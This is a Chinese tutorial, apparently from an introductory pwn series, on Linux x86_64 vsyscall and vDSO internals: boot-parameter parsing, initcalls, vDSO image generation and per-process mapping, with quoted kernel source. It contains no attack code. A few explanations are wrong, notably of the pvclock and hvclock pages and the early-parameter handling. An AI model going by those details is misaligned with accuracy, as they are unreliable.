1. 快速系统调用的解密
在PWN入门-6-难逃系统调用1中对系统调用的处理流程进行较为详细的解析,其中在解析IDT表中陷阱初始化时,发现该表只会处理int 0x80软中断发起的系统调用,而直接通过x86_64指令集中系统调用指令发起的系统调用则会交给MSR寄存器中的STAR和LSTAR进行处理,这两个寄存器会保存对应的系统调用处理函数地址。
在Linux内核的早期,由于x86指令集并没有专门的指令处理系统调用,所以Linux内核通过int 0x80来触发软中断,随着时间的推移x86_64指令集提供了专门的系统调用指令,但是不同的处理器实现是不一样的,对于用户态程序来讲,它有天然的理由不去理会这些问题,“都是内核和处理器的原因啊,为什么要我管”,处理器当然也是一副硬姿态,反正我就这样实现了,内核你看着办吧!
因此没有办法的内核,只能担负起处理这个“脏”任务的责任,内核的处理方式是这样的:在启动阶段根据具体处理器加载不同的系统调用处理镜像,程序发起系统调用时会将执行权限交给系统调用处理镜像,而不需要考虑具体的实现。
1.1 内核支持 - VSyscall
VSyscall的初始化是在内核启动阶段进行的,它由著名start_kernel启动函数发起指定架构的初始化操作setup_arch,在setup_arch函数的内部会针对系统调用映射内存页,提供给用户态程序使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | asmlinkage __visible __init __no_sanitize_address __noreturn __no_stack_protectorvoid start_kernel(void){ ...... setup_arch(&command_line); ......}void __init setup_arch(char **cmdline_p){ ...... map_vsyscall(); ......} |
VSyscall依赖编译选项CONFIG_X86_VSYSCALL_EMULATION,只有当它开启时,VSyscall的功能才会被启用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #ifdef CONFIG_X86_VSYSCALL_EMULATIONextern void map_vsyscall(void);extern void set_vsyscall_pgtable_user_bits(pgd_t *root);/* * Called on instruction fetch fault in vsyscall page. * Returns true if handled. */extern bool emulate_vsyscall(unsigned long error_code, struct pt_regs *regs, unsigned long address);#elsestatic inline void map_vsyscall(void) {}static inline bool emulate_vsyscall(unsigned long error_code, struct pt_regs *regs, unsigned long address){ return false;}#endif |
当map_vsyscall函数开始时,它会先进行一个很重要的操作,就是获取VSyscall所在内存页的物理地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | void __init map_vsyscall(void){ extern char __vsyscall_page; unsigned long physaddr_vsyscall = __pa_symbol(&__vsyscall_page); /* * For full emulation, the page needs to exist for real. In * execute-only mode, there is no PTE at all backing the vsyscall * page. */ if (vsyscall_mode == EMULATE) { __set_fixmap(VSYSCALL_PAGE, physaddr_vsyscall, PAGE_KERNEL_VVAR); set_vsyscall_pgtable_user_bits(swapper_pg_dir); } if (vsyscall_mode == XONLY) vm_flags_init(&gate_vma, VM_EXEC); BUILD_BUG_ON((unsigned long)__fix_to_virt(VSYSCALL_PAGE) != (unsigned long)VSYSCALL_ADDR);} |
__pa_symbol宏是Linux中较为常见的一种宏,它接收一个地址作为参数,然后减去内核映射的基地址获取偏移值,最后加上物理地址的基地址,获取形参地址对应的物理地址。
根据__START_KERNEL_map可以知道内核映射的基地址是0xffffffff80000000。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #ifdef __ASSEMBLY__#define _AC(X,Y) X#define _AT(T,X) X#else#define __AC(X,Y) (X##Y)#define _AC(X,Y) __AC(X,Y)#define _AT(T,X) ((T)(X))#endif#define __START_KERNEL_map _AC(0xffffffff80000000, UL)static __always_inline unsigned long __phys_addr_nodebug(unsigned long x){ unsigned long y = x - __START_KERNEL_map; /* use the carry flag to determine if x was < __START_KERNEL_map */ x = y + ((x > y) ? phys_base : (__START_KERNEL_map - PAGE_OFFSET)); return x;}#define __phys_addr(x) __phys_addr_nodebug(x)#ifndef __pa#define __pa(x) __phys_addr((unsigned long)(x))#endif |
在获取__vsyscall_page的物理地址physaddr_vsyscall后,会对其所在内存页的属性进行设置,设置的依据是vsyscall_mode,它有两种设置方式,一是根据内核配置选项CONFIG_LEGACY_VSYSCALL_XONLY设定的默认值,二是根据内核命令行参数进行配置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | static enum { EMULATE, XONLY, NONE } vsyscall_mode __ro_after_init =#ifdef CONFIG_LEGACY_VSYSCALL_NONE NONE;#elif defined(CONFIG_LEGACY_VSYSCALL_XONLY) XONLY;#else #error VSYSCALL config is broken#endifstatic int __init vsyscall_setup(char *str){ if (str) { if (!strcmp("emulate", str)) vsyscall_mode = EMULATE; else if (!strcmp("xonly", str)) vsyscall_mode = XONLY; else if (!strcmp("none", str)) vsyscall_mode = NONE; else return -EINVAL; return 0; } return -EINVAL;}early_param("vsyscall", vsyscall_setup); |
1.1.1 启动参数
early_param宏会将名称及符号放入.init.setup节中,不同表项间通过拼接的符号__setup_##unique_id进行区分。
除了early_param宏外,__setup宏也会这样操作,__setup和early_param的归宿都是__setup_param宏,该宏声明的.init.setup节内元素会在内核初始化时进行使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 | #define __setup_param(str, unique_id, fn, early) \ static const char __setup_str_##unique_id[] __initconst \ __aligned(1) = str; \ static struct obs_kernel_param __setup_##unique_id \ __used __section(".init.setup") \ __aligned(__alignof__(struct obs_kernel_param)) \ = { __setup_str_##unique_id, fn, early }#define __setup(str, fn) \ __setup_param(str, fn, fn, 0)#define early_param(str, fn) \ __setup_param(str, fn, fn, 1) |
每个表项都会按照obs_kernel_param结构体的结构进行放置。
1 2 3 4 5 | struct obs_kernel_param { const char *str; int (*setup_func)(char *); int early;}; |
内核针对__setup_param进行初始化的地方分成两个部分,第一部分是early_param对应的parse_early_param函数,第二部分则是after_dashes对应__setup。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | void __init parse_early_options(char *cmdline){ parse_args("early options", cmdline, NULL, 0, 0, 0, NULL, do_early_param);}void __init parse_early_param(void){ static int done __initdata; static char tmp_cmdline[COMMAND_LINE_SIZE] __initdata; if (done) return; /* All fall through to do_early_param. */ strscpy(tmp_cmdline, boot_command_line, COMMAND_LINE_SIZE); parse_early_options(tmp_cmdline); done = 1;}asmlinkage __visible __init __no_sanitize_address __noreturn __no_stack_protectorvoid start_kernel(void){ ...... parse_early_param(); after_dashes = parse_args("Booting kernel", static_command_line, __start___param, __stop___param - __start___param, -1, -1, NULL, &unknown_bootoption); ......} |
不管哪一个部分,最终的目标都是通过parse_args对命令行参数进行解析,然后根据指定的处理函数parse_unknown_fn(parse_args中最后一个参数)对参数的要求进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | static int parse_one(char *param, char *val, const char *doing, const struct kernel_param *params, unsigned num_params, s16 min_level, s16 max_level, void *arg, parse_unknown_fn handle_unknown){ ...... if (handle_unknown) { pr_debug("doing %s: %s='%s'\n", doing, param, val); return handle_unknown(param, val, doing, arg); } ......}char *parse_args(const char *doing, char *args, const struct kernel_param *params, unsigned num, s16 min_level, s16 max_level, void *arg, parse_unknown_fn unknown){ ...... ret = parse_one(param, val, doing, params, num, min_level, max_level, arg, unknown); ......} |
__setup和early_param的区别在于,early_param用于解析静态命令行参数,__setup用于解析动态命令行参数。为了保障动态命令行参数设置的值是生效的,所以__setup对应的解析处理会晚于early_param宏。
静态命令行参数是内核编译时确定下来的,如ARM设备上DTS中的chosen节点中的bootargs项,以及x86_64设备上保存在BIOS内的参数real_mod_date(上电后先进入实模式)。而动态命令行参数指的则是启动引导程序传递给内核的参数,如UEFI中的GRUB配置文件,以及UBoot内向内核传递的参数。
除此之外,__setup和early_param另一个区别在于参数的预处理函数不同,__setup会把解析好的参数交给unknown_bootoption函数,而early_param则会交给do_early_param函数。
两个预处理函数最终都会将处理权限交给通过__setup_param宏指定的处理函数,且都是用__setup_start和__setup_end判断.init.setup节的区间,两者的主要区别在于__setup_start不会对early为真的参数进行处理,但__setup_param就会。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | static bool __init obsolete_checksetup(char *line){ const struct obs_kernel_param *p; bool had_early_param = false; p = __setup_start; do { int n = strlen(p->str); if (parameqn(line, p->str, n)) { if (p->early) { /* Already done in parse_early_param? * (Needs exact match on param part). * Keep iterating, as we can have early * params and __setups of same names 8( */ if (line[n] == '\0' || line[n] == '=') had_early_param = true; } else if (!p->setup_func) { pr_warn("Parameter %s is obsolete, ignored\n", p->str); return true; } else if (p->setup_func(line + n)) return true; } p++; } while (p < __setup_end); return had_early_param;}static int __init unknown_bootoption(char *param, char *val, const char *unused, void *arg){ ...... if (obsolete_checksetup(param)) return 0; ......}static int __init do_early_param(char *param, char *val, const char *unused, void *arg){ const struct obs_kernel_param *p; for (p = __setup_start; p < __setup_end; p++) { if ((p->early && parameq(param, p->str)) || (strcmp(param, "console") == 0 && strcmp(p->str, "earlycon") == 0) ) { if (p->setup_func(val) != 0) pr_warn("Malformed early option '%s'\n", param); } } /* We accept everything at this stage. */ return 0;} |
__setup_start和__setup_end会在vmlinux链接时产生,vmlinux.lds.S汇编代码会让它们标记.init.setup节的起始位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | vmlinux.lds.S:INIT_DATA_SECTION(16)vmlinux.lds.h:#define INIT_SETUP(initsetup_align) \ . = ALIGN(initsetup_align); \ BOUNDED_SECTION_POST_LABEL(.init.setup, __setup, _start, _end)#define INIT_DATA_SECTION(initsetup_align) \ .init.data : AT(ADDR(.init.data) - LOAD_OFFSET) { \ INIT_DATA \ INIT_SETUP(initsetup_align) \ INIT_CALLS \ CON_INITCALL \ INIT_RAM_FS \ }生成的vmlinux.lds:.init.data : AT(ADDR(.init.data) - 0xffffffff80000000) { ...... __setup_start = .; KEEP(*(.init.setup)) __setup_end = .; ......} |
从上面可以看到.init.setup被放置于.init.data节当中。
1 2 3 4 5 6 7 8 | readelf -l ./vmlinux:Section to Segment mapping: Segment Sections... 00 .text .rodata .pci_fixup .tracedata .printk_index __ksymtab __ksymtab_gpl __ksymtab_strings __init_rodata __param __modver __ex_table .notes .BTF .BTF_ids 01 .data __bug_table .orc_unwind_ip .orc_unwind .orc_lookup .vvar 02 .data..percpu 03 .init.text .altinstr_aux .init.data .x86_cpu_dev.init .parainstructions .retpoline_sites .return_sites .ibt_endbr_seal .altinstructions .altinstr_replacement .apicdrivers .exit.text .smp_locks .data_nosave .bss .brk .init.scratch 04 .notes |
不过可惜的是,当Linux完成启动后.init.xxx节的信息就会被释放掉,因此内核当中写入.init.xxx中的信息都是无法在Linux运行阶段查看的。
1 2 3 | #define __init __section(".init.text") __cold __latent_entropy __noinitretpoline#define __initdata __section(".init.data")#define __initconst __section(".init.rodata") |
需要释放的内存区域会在vmlinux.ld.S内标记出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | void mark_rodata_ro(void){ ...... free_kernel_image_pages("unused kernel image (text/rodata gap)", (void *)text_end, (void *)rodata_start); free_kernel_image_pages("unused kernel image (rodata/data gap)", (void *)rodata_end, (void *)_sdata);}void __ref free_initmem(void){ ...... free_kernel_image_pages("unused kernel image (initmem)", &__init_begin, &__init_end);}vmmlinux.ld.S:/* Init code and data - will be freed after init */ . = ALIGN(PAGE_SIZE); .init.begin : AT(ADDR(.init.begin) - LOAD_OFFSET) { __init_begin = .; /* paired with __init_end */ }.init.end : AT(ADDR(.init.end) - LOAD_OFFSET) { __init_end = .; } |
1.1.2 内存页的设置
对于VSyscall来讲,模式不同对内存页设置的参数也会不同。
当模式为EMULATE时,会通过__set_fixmap将Vsyscall处理函数映射到指定的位置,VSYSCALL_PAGE是VSyscall虚拟地址对应的偏移值,physaddr_vsyscall是Vsyscall处理函数的物理地址,PAGE_KERNEL_VVAR是内存页的属性。
PAGE_KERNEL_VVAR对应的页属性在下方进行了展示,其中__PP代表当前内存页位于内存中,首个0代表内存页不可写不可读,_USR代表该内存页可以用户态程序访问,___A代表线性地址转换中该表项被使用,__NX代表内存页开启数据执行保护,第二个0代表该内存页未被写入数据,第三个0代表表项直接未被直接映射到内存页,___G代表该页的TLB是全局的。
1 2 3 4 5 6 7 8 9 10 11 12 | #ifdef CONFIG_X86_VSYSCALL_EMULATION VSYSCALL_PAGE = (FIXADDR_TOP - VSYSCALL_ADDR) >> PAGE_SHIFT,#endif#define __PAGE_KERNEL_VVAR (__PP| 0|_USR|___A|__NX| 0| 0|___G)#define PAGE_KERNEL_VVAR __pgprot_mask(__PAGE_KERNEL_VVAR | _ENC)if (vsyscall_mode == EMULATE) { __set_fixmap(VSYSCALL_PAGE, physaddr_vsyscall, PAGE_KERNEL_VVAR); set_vsyscall_pgtable_user_bits(swapper_pg_dir); } |
set_vsyscall_pgtable_user_bits函数的作用是确保VSyscall所在内存页是设置了_PAGE_USER的。
当模式为XONLY时,内存页的设置方式会发生改变。
1 2 | if (vsyscall_mode == XONLY) vm_flags_init(&gate_vma, VM_EXEC); |
在这里VSyscall的内存信息会被标记在gate_vma当中,该结构体会在内核初始化时借助__get_user_pages和in_gate_area分配用户态可以使用的内存页。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | static struct vm_area_struct gate_vma __ro_after_init = { .vm_start = VSYSCALL_ADDR, .vm_end = VSYSCALL_ADDR + PAGE_SIZE, .vm_page_prot = PAGE_READONLY_EXEC, .vm_flags = VM_READ | VM_EXEC, .vm_ops = &gate_vma_ops,};struct vm_area_struct *get_gate_vma(struct mm_struct *mm){#ifdef CONFIG_COMPAT if (!mm || !test_bit(MM_CONTEXT_HAS_VSYSCALL, &mm->context.flags)) return NULL;#endif if (vsyscall_mode == NONE) return NULL; return &gate_vma;}int in_gate_area(struct mm_struct *mm, unsigned long addr){ struct vm_area_struct *vma = get_gate_vma(mm); if (!vma) return 0; return (addr >= vma->vm_start) && (addr < vma->vm_end);}static long __get_user_pages(struct mm_struct *mm, unsigned long start, unsigned long nr_pages, unsigned int gup_flags, struct page **pages, int *locked){ vma = gup_vma_lookup(mm, start); if (!vma && in_gate_area(mm, start)) { ret = get_gate_page(mm, start & PAGE_MASK, gup_flags, &vma, pages ? &page : NULL); if (ret) goto out; ctx.page_mask = 0; goto next_page; }} |
拿到gate_vmd的地址后就会通过vm_flags_init将内存页标记为可执行的状态。
通过下面的驱动代码,我们可以检验VSyscall的内存信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | void vsyscall_info_show(void){ struct vm_area_struct* vsyscall_info; int* vsyscall_mode; const char* vsc_mode_str[] = { "EMULATE", "XONLY", "NONE" }; vsyscall_info = (struct vm_area_struct*)LDE_KLN_PTR("gate_vma"); vsyscall_mode = (int*)LDE_KLN_PTR("vsyscall_mode"); if (!vsyscall_info || !vsyscall_mode) { printk(KERN_ERR "unable to find symbol by [kallsyms_lookup_name], will exit ...\n"); return; } else { printk(KERN_INFO "found symbol, vma at 0x%px, mode: %s\n", vsyscall_info, vsc_mode_str[*vsyscall_mode]); } printk(KERN_INFO "VSYSCALL_ADDR: %lx, %s %lx - %lx\n", VSYSCALL_ADDR, vsyscall_info->vm_ops->name(NULL), vsyscall_info->vm_start, vsyscall_info->vm_end);} |
可以获取的内存信息还有很多,这里只打印了页名以及页范围,从下面可以看到VSyscall的内存信息的确是上面论证的结果。
1 2 3 4 5 6 7 8 9 10 11 | 驱动打印的消息:[ 1804.290063] found symbols by [kprobe], kallsyms_lookup_name at 0xffffffffa3db7e14, ret: 0[ 1811.881820] lde_proc_write called legnth 0x9, 0x000061bcc8981a60[ 1811.882274] found symbol, vma at 0xffffffffa5531000, mode: XONLY[ 1811.882278] VSYSCALL_ADDR: ffffffffff600000, [vsyscall] ffffffffff600000 - ffffffffff601000应用程序的内存信息:cat /proc/294/mapsffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]cat /proc/1/mapsffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] |
其中VSyscall的起始地址是VSYSCALL_ADDR宏规定的,并且通过观察不难指定,VSyscall的地址永远都是固定的,不会产生变化。
1.1.3 VSyscall的操作
下面展示VSyscall的处理代码,Linux在启动阶段根据处理器加载对应的VSyscall信息,比如下方展示的存放系统调用号的rax寄存器,以及触发系统调用的指令syscall都是根据x64架构的处理器特殊设置的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | __PAGE_ALIGNED_DATA .globl __vsyscall_page .balign PAGE_SIZE, 0xcc .type __vsyscall_page, @object__vsyscall_page: mov $__NR_gettimeofday, %rax syscall ret int3 .balign 1024, 0xcc mov $__NR_time, %rax syscall ret int3 .balign 1024, 0xcc mov $__NR_getcpu, %rax syscall ret int3 .balign 4096, 0xcc .size __vsyscall_page, 4096 |
1.2 内核支持 - VDSO
VDSO由init_vdso_image_xx进行初始化,该函数被注册到了驱动初始化列表内,内核启动时会遍历该列表,执行初始化动作,init_vdso_image_xx函数这里使用的subsys_initcall。
1 2 3 4 | static __init int init_vdso_image_xx(void) { return init_vdso_image(&vdso_image_x);};subsys_initcall(init_vdso_image_xx); |
1.2.1 驱动在内核启动过程中加载的方式
在Linux内核当中,经常可以看到某某驱动初始化函数由xxx_initcall进行注册,然后内核就会在启动阶段对它进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #define __initcall_section(__sec, __iid) \ #__sec ".init"#define ____define_initcall(fn, __unused, __name, __sec) \ static initcall_t __name __used \ __attribute__((__section__(__sec))) = fn;#define ____define_initcall(fn, __stub, __name, __sec) \ __define_initcall_stub(__stub, fn) \ asm(".section \"" __sec "\", \"a\" \n" \ __stringify(__name) ": \n" \ ".long " __stringify(__stub) " - . \n" \ ".previous \n"); \ static_assert(__same_type(initcall_t, &fn));#define __unique_initcall(fn, id, __sec, __iid) \ ____define_initcall(fn, \ __initcall_stub(fn, __iid, id), \ __initcall_name(initcall, __iid, id), \ __initcall_section(__sec, __iid))#define ___define_initcall(fn, id, __sec) \ __unique_initcall(fn, id, __sec, __initcall_id(fn))#define __define_initcall(fn, id) ___define_initcall(fn, id, .initcall##id)#define core_initcall(fn) __define_initcall(fn, 1)#define subsys_initcall(fn) __define_initcall(fn, 4) |
根据指定的xxx_initcall不同,驱动初始化的级别也会不同,被注册的信息会被放入.init.data节内,并且针对不同级别进行区分,每个级别都有一段单独的空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 生成的vmlinux.lds的内容:.init.data : AT(ADDR(.init.data) - 0xffffffff80000000) { __initcall_start = .; KEEP(*(.initcallearly.init)) __initcall0_start = .; KEEP(*(.initcall0.init)) KEEP(*(.initcall0s.init)) __initcall1_start = .; KEEP(*(.initcall1.init)) KEEP(*(.initcall1s.init)) __initcall2_start = .; KEEP(*(.initcall2.init)) KEEP(*(.initcall2s.init)) __initcall3_start = .; KEEP(*(.initcall3.init)) KEEP(*(.initcall3s.init)) __initcall4_start = .; KEEP(*(.initcall4.init)) KEEP(*(.initcall4s.init)) __initcall5_start = .; KEEP(*(.initcall5.init)) KEEP(*(.initcall5s.init)) __initcallrootfs_start = .; KEEP(*(.initcallrootfs.init)) KEEP(*(.initcallrootfss.init)) __initcall6_start = .; KEEP(*(.initcall6.init)) KEEP(*(.initcall6s.init)) __initcall7_start = .; KEEP(*(.initcall7.init)) KEEP(*(.initcall7s.init)) __initcall_end = .;} |
内核启动时需要加载的驱动,都位于.initcallxx里面了。内核真正加载驱动时,首先会通过do_initcalls遍历所有的级别,每个级别内的驱动由do_initcall_level函数进行遍历并加载,遍历的依据就是vmlinux.lds文件内针对指定级别生成的地址,比如级别0对应着__initcall0_start。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | static initcall_entry_t *initcall_levels[] __initdata = { __initcall0_start, __initcall1_start, __initcall2_start, __initcall3_start, __initcall4_start, __initcall5_start, __initcall6_start, __initcall7_start, __initcall_end,};static void __init do_initcall_level(int level, char *command_line){ initcall_entry_t *fn; parse_args(initcall_level_names[level], command_line, __start___param, __stop___param - __start___param, level, level, NULL, ignore_unknown_bootoption); trace_initcall_level(initcall_level_names[level]); for (fn = initcall_levels[level]; fn < initcall_levels[level+1]; fn++) do_one_initcall(initcall_from_entry(fn));}static void __init do_initcalls(void){ int level; size_t len = saved_command_line_len + 1; char *command_line; command_line = kzalloc(len, GFP_KERNEL); if (!command_line) panic("%s: Failed to allocate %zu bytes\n", __func__, len); for (level = 0; level < ARRAY_SIZE(initcall_levels) - 1; level++) { /* Parser modifies command_line, restore it each time */ strcpy(command_line, saved_command_line); do_initcall_level(level, command_line); } kfree(command_line);} |
1.2.2 VDSO的生成
VDSO的生成分成用户态和内核态两大部分,下面会对各部分分别进行解析。
1.2.2.1 vdso.so的生成
vdso.so是专门提供给用户态程序使用,它的生成分成32位和64位两个部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | 编译过程:make arch/x86/entry/vdso/64位开始生成:LDS arch/x86/entry/vdso/vdso.ldsAS arch/x86/entry/vdso/vdso-note.oCC arch/x86/entry/vdso/vclock_gettime.oCC arch/x86/entry/vdso/vgetcpu.oAS arch/x86/entry/vdso/vsgx.oVDSO arch/x86/entry/vdso/vdso64.so.dbgOBJCOPY arch/x86/entry/vdso/vdso64.so32位开始生成(分成32和x32):LDS arch/x86/entry/vdso/vdsox32.ldsX32 arch/x86/entry/vdso/vdso-note-x32.oX32 arch/x86/entry/vdso/vclock_gettime-x32.oX32 arch/x86/entry/vdso/vgetcpu-x32.oX32 arch/x86/entry/vdso/vsgx-x32.oVDSO arch/x86/entry/vdso/vdsox32.so.dbgOBJCOPY arch/x86/entry/vdso/vdsox32.soLDS arch/x86/entry/vdso/vdso32/vdso32.ldsAS arch/x86/entry/vdso/vdso32/note.oAS arch/x86/entry/vdso/vdso32/system_call.oAS arch/x86/entry/vdso/vdso32/sigreturn.oCC arch/x86/entry/vdso/vdso32/vclock_gettime.oCC arch/x86/entry/vdso/vdso32/vgetcpu.oVDSO arch/x86/entry/vdso/vdso32.so.dbgOBJCOPY arch/x86/entry/vdso/vdso32.so |
不同位的so通过指定的文件编译产生,每个文件生成单独.o文件后,会先链接成vdso32.so.dbg文件,最后由objcopy生成最终的动态链接库。
1 2 3 4 | vobjs-y := vdso-note.o vclock_gettime.o vgetcpu.ovobjs32-y := vdso32/note.o vdso32/system_call.o vdso32/sigreturn.ovobjs32-y += vdso32/vclock_gettime.o vdso32/vgetcpu.ovobjs-$(CONFIG_X86_SGX) += vsgx.o |
linux-vdso.so.1的名字也是Makefile内指定的。
1 2 | VDSO_LDFLAGS_vdso.lds = -m elf_x86_64 -soname linux-vdso.so.1 --no-undefined \ -z max-page-size=4096 |
1.2.2.2 内核VDSO的产生
内核首先处理的文件是vma.c和extable.c,它们是内核操作VDSO的核心逻辑所在。
1 2 3 | make arch/x86/entry/vdso/CC arch/x86/entry/vdso/vma.oCC arch/x86/entry/vdso/extable.o |
在此之后,会有两个特别的文件,它们以vdso-image-xx.c为标志,这两个文件并不是默认就有的,而是在编译过程中产生的.c文件,然后再对它们进行编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 | vdso-image-64.cvdso-image-32.cHOSTCC arch/x86/entry/vdso/vdso2cVDSO2C arch/x86/entry/vdso/vdso-image-64.cCC arch/x86/entry/vdso/vdso-image-64.oVDSO2C arch/x86/entry/vdso/vdso-image-x32.cCC arch/x86/entry/vdso/vdso-image-x32.oVDSO2C arch/x86/entry/vdso/vdso-image-32.cCC arch/x86/entry/vdso/vdso-image-32.oCC arch/x86/entry/vdso/vdso32-setup.o |
它们通过vdso2c可执行文件进行产生,该可执行文件由vdso2c.c和vdso2c.h编译而成,程序内部通过go函数写入具体的内容,写入的内容是根据前面生成的vdso.so而产生的。
vdso2c程序接收3个参数,第一个参数是vdsoxx.so.dbg,第二个参数vdso.so,第三个参数是生成文件的名字,传入带有调试符号版本的so文件,主要目的是辅助展示vdso_image的信息。
1 2 3 4 5 6 7 | vdso2c.h:static void BITSFUNC(go)(void *raw_addr, size_t raw_len, void *stripped_addr, size_t stripped_len, FILE *outfile, const char *image_name){ ......} |
生成的文件由下面五大部分组成,其中raw_data是根据vdso.so生成的(包含动态链接库的原始数据),extable是根据vdsoxx.so.dbg生成的,结构体struct vdso_image用于描述VDSO的信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 1. raw_data2. extable3.struct vdso_image vdso_image_xx { .data = raw_data, .size = 8192, .alt = 4033, .alt_len = 210, .extable_base = 4303, .extable_len = 8, .extable = extable, .sym_vvar_start = -16384, .sym_vvar_page = -16384, .sym_pvclock_page = -12288, .sym_hvclock_page = -8192, .sym_timens_page = -4096,};4.static __init int init_vdso_image_xx(void) { return init_vdso_image(&vdso_image_xx);};5.subsys_initcall(init_vdso_image_xx); |
非调试版本的动态链接库只会负责原始二进制文件内信息的展示,至于vdso_image需要的其他信息,则要借助调试版本进行产生,调试版本展示的信息有两类,一是部分节的位置信息,二是被剥离出来的__ex_table节信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 | 调试版本: Segment Sections... 00 .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_d .dynamic .note .eh_frame_hdr .eh_frame .text .altinstructions .altinstr_replacement __ex_table 01 .dynamic 02 .note 03 .eh_frame_hdr非调试版本: Segment Sections... 00 .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_d .dynamic .note .eh_frame_hdr .eh_frame .text .altinstructions .altinstr_replacement 01 .dynamic 02 .note 03 .eh_frame_hdr |
vdso_image中的alt对应着.altinstructions节,该节的全称是Alternative Instructions代替指令,是为指令集的扩展功能而准备的,alternative会将可以替换的指令放入.altinstructions节内,留给内核在运行时决定是否使用指令集的新指令。
1 2 | #define alternative(oldinstr, newinstr, ft_flags) \ asm_inline volatile (ALTERNATIVE(oldinstr, newinstr, ft_flags) : : : "memory") |
__ex_table节是调试版中被剥离出去的节,其中ex是异常的缩写,该节定义了异常的处理方式,vdso_image中特地将它添加了进来,用于处理VDSO的异常情况。
vvar对应着内核态与用户态共享数据的内存页,pvclock代表着管道监控数据进度的内存页,hvclock代表宿主机与虚拟机间通信的内存页,timens代表时钟命名空间的内存页。
1.2.3 VDSO的初始化
在内核启动时,subsys_initcall会起到初始化的作用,并将VDSO的处理权限交给init_vdso_image函数,该函数内部实现比较简单,只是通过apply_alternatives函数对旧指令进行替换。
1 2 3 4 5 6 7 8 9 10 11 | int __init init_vdso_image(const struct vdso_image *image){ BUILD_BUG_ON(VDSO_CLOCKMODE_MAX >= 32); BUG_ON(image->size % PAGE_SIZE != 0); apply_alternatives((struct alt_instr *)(image->data + image->alt), (struct alt_instr *)(image->data + image->alt + image->alt_len)); return 0;} |
1.2.4 用户态程序获取VDSO
在Linux内核当中,处理程序运行的是著名的load_elf_binary函数。该函数会在读取ELF文件段信息之后,设置内存信息之间对VDSO进行加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #if defined(ARCH_HAS_SETUP_ADDITIONAL_PAGES) && !defined(ARCH_SETUP_ADDITIONAL_PAGES)#define ARCH_SETUP_ADDITIONAL_PAGES(bprm, ex, interpreter) \ arch_setup_additional_pages(bprm, interpreter)#endifstatic int load_elf_binary(struct linux_binprm *bprm){ ......#ifdef ARCH_HAS_SETUP_ADDITIONAL_PAGES retval = ARCH_SETUP_ADDITIONAL_PAGES(bprm, elf_ex, !!interpreter); if (retval < 0) goto out;#endif /* ARCH_HAS_SETUP_ADDITIONAL_PAGES */ ......} |
load_elf_binary函数会让arch_setup_additional_pages函数通过map_vdso去映射VDSO给当前进程。
map_vdso函数第一步做的是通过get_unmapped_area接口申请一段未使用的内存。get_unmapped_area函数的第二个参数是待分配的内存地址,地址为零就代表申请未使用的内存,否则则按指定的地址进行查找,三号参数指定了申请的内存空间大小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | static int map_vdso(const struct vdso_image *image, unsigned long addr){ struct mm_struct *mm = current->mm; struct vm_area_struct *vma; unsigned long text_start; int ret = 0; if (mmap_write_lock_killable(mm)) return -EINTR; addr = get_unmapped_area(NULL, addr, image->size - image->sym_vvar_start, 0, 0); if (IS_ERR_VALUE(addr)) { ret = addr; goto up_fail; } text_start = addr - image->sym_vvar_start; /* * MAYWRITE to allow gdb to COW and set breakpoints */ vma = _install_special_mapping(mm, text_start, image->size, VM_READ|VM_EXEC| VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC, &vdso_mapping); if (IS_ERR(vma)) { ret = PTR_ERR(vma); goto up_fail; } vma = _install_special_mapping(mm, addr, -image->sym_vvar_start, VM_READ|VM_MAYREAD|VM_IO|VM_DONTDUMP| VM_PFNMAP, &vvar_mapping); if (IS_ERR(vma)) { ret = PTR_ERR(vma); do_munmap(mm, text_start, image->size, NULL); } else { current->mm->context.vdso = (void __user *)text_start; current->mm->context.vdso_image = image; }up_fail: mmap_write_unlock(mm); return ret;}int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp){ if (!vdso64_enabled) return 0; return map_vdso(&vdso_image_64, 0);} 